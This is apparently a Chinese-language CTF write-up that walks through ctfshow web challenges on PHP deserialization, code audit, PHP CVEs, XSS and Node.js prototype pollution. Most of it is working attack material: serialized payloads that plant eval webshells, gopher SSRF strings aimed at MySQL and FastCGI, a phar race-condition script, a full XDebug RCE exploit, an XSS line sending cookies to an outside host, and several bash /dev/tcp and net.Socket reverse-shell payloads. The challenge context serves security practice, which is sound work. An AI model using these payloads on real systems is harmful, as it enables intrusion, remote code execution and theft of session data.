反序列化

web-254

/?username=xxxxxx&password=xxxxxx

我丢,看了半天。。。。。。还没开始反序列化。

web-255

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
1
2
3
4
5
6
7
8
9
<?php
class ctfShowUser{
public $username='yake';
public $password='daigua';
public $isVip=true;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>

web-257

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class ctfShowUser{
private $username='yake';
private $password='daigua';
private $isVip=false;

public function __construct(){
$this->class=new backDoor();
}

}

class backDoor{
private $code="system('tac flag.php');";
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
?>

直接调backDoor,析构的时候会调命令。

web-258

套了一层过滤,不能有o:数字:c:数字:,oc不区分大小写。

只需要加上一个+就行,额,原理自己去看函数库吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class ctfShowUser{
public function __construct(){
$this->class=new backDoor();
}
}

class backDoor{
public $code="system('tac f*');";
}
$a = new ctfShowUser();
$b=serialize($a);
$b=str_replace("O:","O:+",$b);
echo urlencode($b);
?>

注意属性是public,不是上一题的public,我看了好久。。。。。。

web-259

嗝,SSRF?什么原生类?看了别人的WP之后才知道是SoapClient。又一看《CTFer从0到1》有。。。。。。应该好好看圣经的

https://baijiahao.baidu.com/s?id=1709236552525677652&wfr=spider&for=pc

1
2
3
4
5
6
<?php
$ua = "Lxxx\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";

$client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));

print_r(urlencode(serialize($client)));

如果了解SSRF的大概能知道这是怎么一回事。以后遇到了会再次深入学习,现在先过。

1
/?vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22Lxxx%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

web-260

属于是无聊之神了。

1
2
3
<?php
echo urlencode(serialize("ctfshow_i_love_36D"));
?>

web-261

当类中同时定义了 unserialize()wakeup() 两个魔术方法, 则只有 unserialize() 方法会生效,__wakeup() 方法会被忽略。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class ctfshowvip{
public $username;
public $password;
public function __construct(){
$this->username="877.php";
$this->password="<?php eval(\$_POST[1]);?>";
}
}
$a=new ctfshowvip();
echo urlencode(serialize($a));
?>

我们的code无法控制,直接用弱比较,877=0x36d

还有一点,就是传入$符号的时候要转义!!!

web-262

我们结合这message.php看,知道在index生成一个user权限的cookie,然后访问message拿flag。

第一种解法非常简单,我们直接自己生成一个admin的cookie就行了

1
2
3
4
5
6
7
8
9
10
11
<?php

class message{
public $from;
public $msg;
public $to;
public $token='admin';
}
$m=new message();
echo base64_encode(serialize($m));
?>

第二种方法才是重点,字符串逃逸。这里给出一个链接,自行观看。

https://blog.csdn.net/solitudi/article/details/109043560

看完之后想必你已经了解了字符串逃逸的原理。

O:7:”message”:4:{s:4:”from”;s:1:”1”;s:3:”msg”;s:1:”2”;s:2:”to”;s:1:”3”;s:5:”token”;s:5:”admin”;}

我们可以看到,需要逃逸的字符串是”;s:5:”token”;s:5:”admin”;}

总长度为27,fuck用loveU替换的话,反序列化回来时就会溢出一位,导致 “ 被覆盖,所以我们需要覆盖27位的话,需要在前一个属性里面加上27个fuck,让字符串完全逃逸。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class message{
public $from="1";
public $msg="1";
public $to='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';

public $token='admin';
}
$a=new message();
$b=serialize($a);
echo $b."<br><br>";
$b=str_replace('fuck', 'loveU', $b);
echo $b;
?>
1
2
3
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:5:"admin";}

O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:5:"admin";}

/?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck”;s:5:”token”;s:5:”admin”;}

web-263

session反序列化的考察

1
user|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:25:"<?php @eval($_POST[1]);?>";s:6:"status";N;}
1
2
3
4
5
<?php
$a=|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:25:"<?php @eval($_POST[1]);?>";s:6:"status";N;}

echo base64_encode($a);
?>
1
fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyNToiPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/PiI7czo2OiJzdGF0dXMiO047fQ==
1
访问log-1.php,1=system("tac flag.php");

嗝,看到官方给出的讲解都把自己绕进去了。可能理解起来不太容易。

说实话在很久之前我学习反序列化时看见过别人写的session反序列化,nmmd,他写的一大堆还都是错的,现在看来他是跟着大菜鸡师傅(官方)的视频做的,搞得我看了一整天。这次系统刷题,又花了两个小时来进行梳理。

这里简单介绍一下

SESSION反序列化漏洞是因为php页面调用的session存储方式不同所导致的
默认是调用php,而这题默认的是php_serialize
php和php_serialize的区别如下
php: name|s:5:“ocean”;
php_serialize: a:1:{s:4:“name”;s:5:“ocean”;}
我们需要注意一点,在php中不能包含php_serialize,但是在php_serialize中可以包含php。
php中 | 符号的左右为键值和键名。这就是漏洞产生的原因。

我们分析源代码,可以知道index是php_serialize
inc和check是php
我们还可以看到在inc中可以控制username和password去写一句话木马

接着我们进行分析,在index中,$_SESSION[‘limit’]=base64_decode($_COOKIE[‘limit’]);
这样的一句话利用cookie控制limit,进而控制session
当我们访问index,先在index校验是否超过五次登录,生成一个session在服务器上
没有超过五次,到check去判断,然后对我们的session操作
到这里然后呢?和我们的inc写木马有什么关系呢?

我们重新想想,反序列化是指通过输入的序列化内容被反序列化之后调用服务器上的资源
我们要调用的是inc中的类
而check刚好包含了inc,使得我们可以反序列化
析构函数的时候可以写入木马去getshell

再一次重申,我们的重点是session反序列化
在index界面我们用check界面用的session序列化
因为上面又说,在index界面是可以包含check和inc的
别问为什么,问去上面再好好看看php和php_serialize
我们在index界面修改session的本质理由是
我们需要在服务器上有一个恶意的session能调inc类
使得我们在访问index时
php解析这个恶意的session
使得我们的一句话木马被成功的写入1.php

如果你还看不懂的话,多看几遍。

web-264

可以直接用262的payload,但要记得最后cookie传一个msg

web-265

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class ctfshowAdmin{
public $token;
public $password;

public function __construct(){
$this->password=&$this->token;
}
}

$a=new ctfshowAdmin();
echo urlencode(serialize($a));

?>

不能控制随机数,我还不能控制值吗?简单的引用

web-266

当我们的序列化字符串中有ctfshow就会抛出异常,这样就没办法调用__destrcut了,在php中,函数不区分大小写,所以大写绕过就行

1
2
3
4
5
6
<?php
class ctfshow{
}
$a = new ctfshow();
echo (serialize($a));
?>

这里得注意一下,php://input得在bp传。

解析出错,由于类名是正确的,就会调用该类名的__destruct,从而在throw前执行了__destruct

O:7:”ctfshow”:2:{}

web-267

弱口令admin,admin进入,看源码,发现about界面有提示。get传入view-source,发现回显。

///backdoor/shell
unserialize(base64_decode($_GET[‘code’]))

反序列化,我们看源码的时候可以看到引用js,是yii框架。

这里可以直接去网上找利用链。

web-271

laravel5.7反序列化漏洞

laravel5.8反序列化漏洞

thinkphp 5.1反序列化漏洞

都是一些漏洞的复现:https://blog.csdn.net/miuzzx/article/details/110558192

因为漏洞复现不在目前计划中,就先略过了。

web-275

这里直接审计代码,linux可以允许system(‘rm’.$_GET[1]);动态执行,所以这里可以用分号来分隔命令。

/?fn=php;tac f*

web-276

给出phar反序列化学习链接

https://www.freebuf.com/articles/web/205943.html

https://blog.csdn.net/solitudi/article/details/113588692

https://tttang.com/archive/1732/

在上个题的基础上增了了 判断$this->admin所以真的需要我们去通过反序列化修改admin的值了。因为题目中没有反序列化函数,所以需要通过其他方式。
因为题目中有写文件的函数,所以可以通过file_put_contents写phar文件,然后再通过file_put_contents触发phar反序列化。当然我们得在删除文件前执行完这两个操作,所以需要用到条件竞争。
生成phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

class filter{
public $filename = "1|cat f*";
public $filecontent;
public $evilfile = true;
public $admin = true;
}

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");

$o = new filter();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

条件竞争

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import threading
import base64
url = 'http://b1238473-a3bb-431f-a39e-3cd285bcb95e.chall.ctf.show/'

f = open('./phar.phar', 'rb')

data = f.read()
flag = False

def work1():
requests.post(url+"?fn=a", data=data)


def work2():
global flag
r = requests.post(url+"?fn=phar://phar.phar/", data="")
if "flag{" in r.text and flag is False:
print(base64.b64encode(r.text.encode()))
flag = True

while flag is False:
a = threading.Thread(target=work1)
b = threading.Thread(target=work2)
a.start()
b.start()

web-277

python pickle反序列化

JAVA

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与ServletAPI完全脱离开,所以Struts 2可以理解为WebWork的更新产品。虽然从Struts 1到Struts 2有着非常大的变化,但是相对于WebWork,Struts 2的变化很小。
直接拿别人的工具一把梭

emmmmmmmm,这种事我就不做了,没什么参考价值。

https://blog.csdn.net/miuzzx/article/details/111270213

代码审计

嗝,代码审计。。。。。。听名字就知道不好惹。白盒测试的重要性不言而喻。

web-301

seay扫一遍。好家伙,什么都没有。我也没装昆仑镜那些其他的。慢慢看吧。

先看login.php,普通的登录界面,创建了session。

再看checklogin.php,直接采用变量拼接,没有过滤。可能存在SQL注入。

我们再看下面的代码

1
2
3
4
5
6
7
if(!strcasecmp($userpwd,$row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}

strcasecmp(str1,str2):比较字符串
如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

这里的登录判断就是执行结果等于我们输入的密码。

直接构造就行:-1' union select 1 from sds_user--+ userpwd=1

用sqlmap跑也行,随你。

web-302

修改的地方:

1
if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){

对userpwd做了一个解码。

1
2
3
4
5
<?php
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}
?>

fun.php里面有编码的方式,直接编码就行。

简单说一下:密码是加密形式存在数据库里面的,所以把加密后的数据取出来

userid=1' union select 'd9c77c4e454869d5d8da3b4be79694d3'#&userpwd=1

直接写一句话木马:userid=a ‘ union select ““ into outfile “/var/www/html/a.php”%23&userpwd=b

web-303

嗝~扫出来dptadd.php可能有SQL注入。

1
$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";

是个插入。可能需要登录后才能利用,sds_user.sql给出了账号密码,加密的密码可以倒推一下。admin

进去后有个新增的界面,直接注就行了。

web-305

扫描是给了两个,一个dptadd.php的SQL注入,另外一个是class.php的文件上传。

跟进分析发现在fun.php中有waf,而且username的长度也做了限制,基本上是没法注的。

接着看class user,有一说一

1
2
3
public function __destruct(){
file_put_contents($this->username, $this->password);
}

参数可控,理论上来说是可以的。在checklogin中有cookie的反序列化,那么就来了。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class user{
public $username;
public $password;
public function __construct(){
$this->username="1.php";
$this->password="<?php eval(\$_POST[1]);?>";
}
}
$a = new user();
echo urlencode(serialize($a));
?>

蚁剑连接,去数据库里面查就行。

1
2
3
4
5
1=include "conn.php";
$sql="select group_concat(flag) from sds_flabag "; //MySQL代码
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
print_r($row);

web-306

扫出来和上题目一样,但是class中的析构换成close()了,全局搜索一下close()发现在dao.php中class dao有析构函数是调用close(),这应该就是我们需要找的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class dao{
private $config;
private $conn;
public function __construct(){
$this->conn=new log();
}
}
class log{
public $title='1.php';
public $info='<?php eval($_POST[1]);?>';
}
$a = new dao();
echo base64_encode(serialize($a));
?>

web-307

扫一遍,发现calss.php文件包含,但是写死了,没有地方能调。

接下来看dao.php中有一个命令执行函数shell_exec,但是需要调clearCache,全局搜索发现service.php中的service类可以调它,然后呢???嗝,没了。看看反序列化的函数在哪吧,logout有一个,login有一个,但是loginout可以执行clearCache,不错。链已经差不多了,最后看看怎么控制$this->config->cache_dir,在dao类的构造函数是新生成了一个config类,我们可以直接控制cache_dir。至此,就分析完了?

等等,我们执行logout???我们还没登录怎么执行logout。。。。。。

1
2
3
if($user){
header("location:index.php");
}

嗯,有这个那就没事了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class config{
public $cache_dir = 'aaa/*;cat /var/www/html/flag.php > /var/www/html/1.txt;';
}
class dao
{
private $config;
public function __construct()
{
$this->config = new config();
}
}
echo base64_encode(serialize(new dao()));
?>

web-308

增加了

1
2
3
4
5
public function  clearCache(){
if(preg_match('/^[a-z]+$/i', $this->config->cache_dir)){
shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
}
}

在审dao.php的时候发现多了一个

1
2
3
public function checkVersion(){
return checkUpdate($this->config->update_url);
}

跟进,发现在fun.php中

1
2
3
4
5
6
7
8
9
10
11
12
function checkUpdate($url){
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$res = curl_exec($ch);
curl_close($ch);
return $res;
}

眼熟?嗯,是个SSRF。index能直接调,OK。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}

class config{
public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%44%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%01%00%00%00%01';
}

$d= new dao();
echo base64_encode(serialize($d));

?>

别告诉我,你gopherus不会用。

web-309

你说说,mysql做了防护,还能打什么???不是redis就是fastcgi。

1
2
3
if(!isset($_SESSION['login'])){
header("location:login.php");
}

别忘了登录,大笨蛋。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class config{
public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27cat%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}

}
$a=new dao();
echo base64_encode(serialize($a));
?>

web-310

源码已经没用了,不过问题不大,gopher还可以读文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}

class config{
public $update_url = 'file:///etc/nginx/nginx.conf';}

$d= new dao();
echo base64_encode(serialize($d));

?>

得到

1
2
3
4
5
6
7
8
9
10
server {
listen 4476;
server_name localhost;
root /var/flag;
index index.html;

proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}

class config{
public $update_url = 'http://127.0.0.1:4476';}

$d= new dao();
echo base64_encode(serialize($d));

?>

至此,ctfshow代码审计部分完成。不过都是比较简单的点,只能说告诉你代码审计是啥。在一个完整的项目中,要进行审计可不是那么简单的事情。那么,加油吧!

phpCVE

web-311

抓包,看见返回的头

HTTP/1.1 200 OK Date: Mon, 31 Oct 2022 05:58:45 GMT Content-Type: text/html; charset=UTF-8 Connection: close Server: nginx/1.18.0 (Ubuntu) X-Powered-By: PHP/7.1.33dev Content-Length: 28

百度找找PHP 7.1.33的洞:CVE-2019-11043

工具地址:https://github.com/neex/phuip-fpizdam

1
2
3
4
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go env -w GOPROXY=https://goproxy.cn
go get -v && go build
1
go run . "xxx/index.php"

/?a=ls 我丢,解题网站的waf,这个复现不成功。之前应该是可以的。

web-312

CVE-2018-19518

对自己想要发的内容进行一次base64编码

首先对进行一次base64编码

然后对echo “PD9waHAgQGV2YWwoJF9QT1NUW211bXV6aV0pOz8+” | base64 -d >/var/www/html/ma.php进行一次base64编码

得到ZWNobyAiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VVzIxMWJYVjZhVjBwT3o4KyIgfCBiYXNlNjQgLWQgPi92YXIvd3d3L2h0bWwvbWEucGhw

注意:如果进行base64编码后,含有+ =,都要进行url编码即%2b %3d,所以为了保证不会出错,最好再对得到的base64编码后的字符串再进行url编码。相当于步骤为先base64编码,再url编码

然后将hostname的内容替换成x+-oProxyCommand%3decho%09编码后的内容|base64%09-d|sh}

即x+-oProxyCommand%3decho%09ZWNobyAiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VVzIxMWJYVjZhVjBwT3o4KyIgfCBiYXNlNjQgLWQgPi92YXIvd3d3L2h0bWwvbWEucGhw|base64%09-d|sh}

1
/ma.php         mumuzi=phpinfo();

web-313

CVE-2012-1823

CGI模式下的参数:
-c 指定php.ini文件的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次该文件
-h和-? 显示帮助

1
2
3
index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

<?php system('tac /somewhere/*')?>

web-314

日志文件包含,不赘述了。

web-315

Debug 远程调试漏洞 https://github.com/vulhub/vulhub/tree/master/php/xdebug-rce

漏洞描述:
XDebug是PHP的一个扩展,用于调试PHP代码。如果目标开启了远程调试模式,并设置remote_connect_back = 1

1
2
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1

这个配置下,我们访问http://target/index.php?XDEBUG_SESSION_START=phpstorm,目标服务器的XDebug将会连接访问者的IP(或X-Forwarded-For头指定的地址)并通过dbgp协议与其通信,我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码。
exp.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/env python3
import re
import sys
import time
import requests
import argparse
import socket
import base64
import binascii
from concurrent.futures import ThreadPoolExecutor


pool = ThreadPoolExecutor(1)
session = requests.session()
session.headers = {
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)'
}

def recv_xml(sock):
blocks = []
data = b''
while True:
try:
data = data + sock.recv(1024)
except socket.error as e:
break
if not data:
break

while data:
eop = data.find(b'\x00')
if eop < 0:
break
blocks.append(data[:eop])
data = data[eop+1:]

if len(blocks) >= 4:
break

return blocks[3]


def trigger(url):
time.sleep(2)
try:
session.get(url + '?XDEBUG_SESSION_START=phpstorm', timeout=0.1)
except:
pass


if __name__ == '__main__':
parser = argparse.ArgumentParser(description='XDebug remote debug code execution.')
parser.add_argument('-c', '--code', required=True, help='the code you want to execute.')
parser.add_argument('-t', '--target', required=True, help='target url.')
parser.add_argument('-l', '--listen', default=9000, type=int, help='local port')
args = parser.parse_args()

ip_port = ('0.0.0.0', args.listen)
sk = socket.socket()
sk.settimeout(10)
sk.bind(ip_port)
sk.listen(5)

pool.submit(trigger, args.target)
conn, addr = sk.accept()
conn.sendall(b''.join([b'eval -i 1 -- ', base64.b64encode(args.code.encode()), b'\x00']))

data = recv_xml(conn)
print('[+] Recieve data: ' + data.decode())
g = re.search(rb'<\!\[CDATA\[([a-z0-9=\./\+]+)\]\]>', data, re.I)
if not g:
print('[-] No result...')
sys.exit(0)

data = g.group(1)

try:
print('[+] Result: ' + base64.b64decode(data).decode())
except binascii.Error:
print('[-] May be not string result...')
1
python3 exp.py -t http://8731e14f-ee10-4df2-99f0-fef35075f5b3.challenge.ctf.show/index.php -c 'shell_exec("ls");'

PS:需要有公网服务器

XSS

web-316

xss平台 https://xss.pt/xss.php

注册创建项目,复制代码进入,查看自己的项目就行。

web-320

1
<body/onload=document.location="http://x.xx.xx.xx:1234/"+document.cookie>

没有vps的原因,贴上别人的WP。

https://www.jianshu.com/p/51801f145573

https://blog.csdn.net/miuzzx/article/details/111644350

https://blog.csdn.net/cosmoslin/article/details/122790222

NodeJS

我学习NodesJS时,为此写了一篇总结,可以参考着看看。

web-334

发现name!=='CTFSHOW' && item.username === name.toUpperCase(),上面有说过转大写时ſ =>> S

这里直接用ctfſhow 123456登录就可以出flag了。

web-335

直接利用eval读取目录文件。

1
2
/?eval=res.end(require('fs').readdirSync('.').toString())
/?eval=res.end(require('fs').readFileSync('./fl00g.txt').toString());

或者

1
2
require( 'child_process' ).spawnSync( 'ls', [ '/' ] ).stdout.toString()
require( 'child_process' ).spawnSync( 'cat', [ 'f*' ] ).stdout.toString()

web-336

直接使用

1
2
/?eval=res.end(require('fs').readdirSync('.').toString())
/?eval=res.end(require('fs').readFileSync('./fl00g.txt').toString());

其实好像是过滤了一些东西,应该是命令执行的东西,我直接调的原生函数,如果想知道过滤什么的,可以自行百度。

web-337

其实和PHP一样,都可以用数组绕过。

但是为了突出Nodejs的特性,不利用/?a[]=1&b=1

1
2
3
4
5
a={'x':'1'}
b={'x':'2'}

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")

本地运行一下,我们发现一个对象与字符串相加,输出不会有对象内容。

1
/?a[x]=1&b[x]=2

web-338

login.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}


});

module.exports = router;

发现utils.copy(user,req.body);,可能会存在漏洞,接着看common.js。

1
2
3
4
5
6
7
8
9
10
11
12
13
module.exports = {
copy:copy
};

function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key] //漏洞产生点
}
}
}

我们需要使得secert.ctfshow===’36dboy’,去拿flag。

这里的 secert 是一个数组,然后 utils.copy(user,req.body); 操作是 user 也是数组,也就是我们通过 req.body 即 POST 请求体传入参数,通过 user 污染数组的原型,那么 secert 数组找不到 ctfshow 属性时,会一直往原型找,直到在数组原型中发现 ctfshow 属性值为 36dboy 。那么 if 语句即判断成功,就会输出 flag 了。

1
{"__proto__": {"ctfshow": "36dboy"}}

还有一种解法:利用ejs模块RCE。

1
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/服务器IP/监听端口 0>&1\"');var __tmp2"}}

web-339

login.js

1
2
3
4
5
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}

不能直接污染了。但是我们发现一个api.js。

1
2
3
4
5
/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});

当我们访问api.js时,可以调query的function,与上述p神出的题非常类似。写个测试代码看看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

user = {}
yake = "daigua"
body = JSON.parse('{"__proto__":{"query":"return yake"}}');
copy(user, body)

{ query: Function(query)(query)}

image-20221030155606986

可以发现,query的功能为return “daigua”,在copy时,相当于给Object对象添加了query。那么,当然可以在这里构造一个函数,进行RCE。

有一点需要注意,require可能不会被识别,需要利用global.process.mainModule.constructor._load。

因为 node 是基于 chrome v8 内核的,运行时,压根就不会有 require 这种关键字,模块加载不进来,自然 shell 就反弹不了了。但在 node交互环境,或者写 js 文件时,通过 node 运行会自动把 require 进行编译。

1
2
3
4
5
6
7
8
9
10
11
12
13
{"__proto__": {"query": "return (function(){
var net = global.process.mainModule.constructor._load('net'),
cp = global.process.mainModule.constructor._load('child_process'),
sh = cp.spawn('/bin/sh', []);
var client = new net.Socket();
client.connect(port, 'server',
function({client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);});
return /a/;})
();"
}
}

在login传入,然后访问api即可。当然也可以污染ejs模块RCE。

web-340

发现 userinfo 的原型不是 Object 对象, userinfo.__proto__.__proto__ 才是 Object 对象。

web-341

污染两级,ejs rce。

1
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/1234 0>&1\"');var __tmp2"}}}

web-342

jade原型链污染

1
{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/1234>&1\"')"}}}
1
